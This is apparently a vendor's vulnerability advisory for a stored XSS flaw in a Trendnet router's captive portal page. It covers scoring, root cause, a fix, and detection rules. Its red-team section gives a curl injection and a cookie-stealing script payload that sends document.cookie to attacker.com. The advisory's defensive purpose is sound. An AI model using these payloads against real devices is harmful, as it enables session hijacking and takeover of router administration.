CVE-2025-25431
Executive Summary
CVE-2025-25431 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Trendnet TEW-929DRU router, specifically in firmware version 1.0.0.10. The flaw resides in the ssid key of the wifi_data parameter on the /captive_portal.htm page. An attacker can inject malicious JavaScript code into the SSID field, which is then stored and executed in the browser of any administrator or user who views the captive portal configuration page. This can lead to session hijacking, credential theft, or further compromise of the router's administrative interface. As of this report, no official patch has been released by Trendnet, and the vendor has not acknowledged the vulnerability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a consumer networking device. The risk is limited to end-users who have deployed the TEW-929DRU router with the vulnerable firmware.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
- User Interaction: Required (UI:R) – The victim must visit the
/captive_portal.htmpage. - Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of data.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for full administrative compromise (if the admin views the page) elevates the risk. The EPSS score of 0.0% indicates low exploitation likelihood currently, but this may change as proof-of-concept code circulates.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (CWE-79) in the captive portal configuration page. The /captive_portal.htm page allows an administrator to set the SSID (network name) for the guest network. The ssid parameter in the wifi_data POST request is not sanitized or encoded before being stored and later rendered in the HTML response.
Attack Flow:
- An attacker with network access to the router's web interface (or a malicious insider) sends a crafted POST request to
/captive_portal.htmwith a malicious payload in thessidfield. - The router stores the payload in its configuration (likely in NVRAM or a configuration file).
- When an administrator (or any user) navigates to
/captive_portal.htm, the stored SSID value is rendered in the HTML without proper escaping. - The injected JavaScript executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect to malicious sites.
Root Cause: Lack of output encoding for user-controlled input in the captive portal page. The ssid value is likely echoed directly into the HTML without using htmlspecialchars() or equivalent sanitization.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (Conceptual PHP/HTML):
<?php
$ssid = $_POST['ssid']; // No sanitization
// Store in config
file_put_contents('/tmp/captive_ssid', $ssid);
?>
<!-- Later, when rendering the page -->
<div>Current SSID: <?php echo $ssid; ?></div>
Patched Code (Expected Fix):
<?php
$ssid = htmlspecialchars($_POST['ssid'], ENT_QUOTES, 'UTF-8');
// Store sanitized value
file_put_contents('/tmp/captive_ssid', $ssid);
?>
<!-- Rendering is safe -->
<div>Current SSID: <?php echo $ssid; ?></div>
The fix must ensure that all user-supplied data is HTML-encoded before being rendered in the browser. Additionally, input validation should restrict the SSID to alphanumeric characters and spaces only.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Network access to the Trendnet TEW-929DRU web interface (typically on port 80 or 443).
- The router must be running firmware version 1.0.0.10.
Exploit Steps:
- Identify the target router's IP address (e.g., 192.168.1.1).
- Send a POST request to
/captive_portal.htmwith a malicious SSID payload.
Example using cURL:
curl -X POST http://192.168.1.1/captive_portal.htm \
-d "wifi_data[ssid]=<script>alert('XSS')</script>"
Advanced Payload (Session Hijacking):
<script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
URL-encoded version:
wifi_data%5Bssid%5D=%3Cscript%3Evar%20img%20%3D%20new%20Image%28%29%3Bimg.src%3D%22http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%22%20%2B%20document.cookie%3B%3C%2Fscript%3E
Triggering the XSS:
- The attacker must wait for an administrator to visit the
/captive_portal.htmpage. - Alternatively, the attacker can lure the admin via social engineering to click a link to that page.
Blue Team (Defender)
Detection:
- Monitor HTTP POST requests to
/captive_portal.htmcontaining suspicious patterns like<script,onerror, orjavascript:. - Look for anomalous SSID values that contain HTML tags or JavaScript code.
Prevention:
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in the
ssidparameter. - Restrict administrative access to the router's web interface to trusted IP addresses only.
- Use network segmentation to isolate the router's management interface.
Hunting:
- Search router logs for POST requests to
/captive_portal.htmwith unusual payloads. - Check the router's configuration for SSID values that contain non-alphanumeric characters.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/captive_portal.htmwithwifi_data[ssid]containing<script>tags or event handlers. - Outbound HTTP requests from the router to unknown IP addresses (exfiltration).
- HTTP POST requests to
- Host IOCs:
- Unusual SSID values in the captive portal configuration (e.g., containing JavaScript).
- Modified configuration files (e.g.,
/tmp/captive_ssidor NVRAM changes).
- Log IOCs:
- Router logs showing repeated POST requests to
/captive_portal.htmfrom a single source. - Browser console errors related to unexpected JavaScript execution.
- Router logs showing repeated POST requests to
Detection Engineering
YARA Rule
rule CVE_2025_25431_XSS_Payload {
meta:
description = "Detects XSS payloads targeting Trendnet TEW-929DRU captive portal"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-25431"
strings:
$xss1 = /wifi_data\[ssid\]=.*<script/i
$xss2 = /wifi_data\[ssid\]=.*onerror/i
$xss3 = /wifi_data\[ssid\]=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Trendnet TEW-929DRU Stored XSS Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2f1a3b4c5d6e
status: experimental
description: Detects HTTP POST requests to /captive_portal.htm with XSS payloads in the ssid parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: /captive_portal.htm
cs-uri-query|contains:
- 'wifi_data[ssid]=<script'
- 'wifi_data[ssid]=<img'
- 'wifi_data[ssid]=onerror'
- 'wifi_data[ssid]=javascript:'
condition: selection
falsepositives:
- Legitimate SSID names containing similar patterns (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-25431 Trendnet TEW-929DRU Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/captive_portal.htm"; http_uri; content:"wifi_data[ssid]"; http_client_body; pcre:"/wifi_data\[ssid\]=.*(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Remote Management: Ensure the router's web interface is not accessible from the internet. Only allow local network access.
- Change Default Credentials: Use strong, unique passwords for the admin account.
- Monitor for Updates: Check Trendnet's support page regularly for a firmware update. If released, apply immediately.
- Workaround: If possible, avoid using the captive portal feature until a patch is available.
Long-Term Fix:
- Trendnet must release a firmware update that properly sanitizes the
ssidparameter using HTML encoding and input validation. - Implement Content Security Policy (CSP) headers to mitigate XSS impact even if injection occurs.
Compensating Controls:
- Deploy a WAF with rules to block XSS payloads.
- Use network monitoring tools to detect anomalous HTTP requests.
- Educate administrators about the risks of clicking untrusted links while logged into the router.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.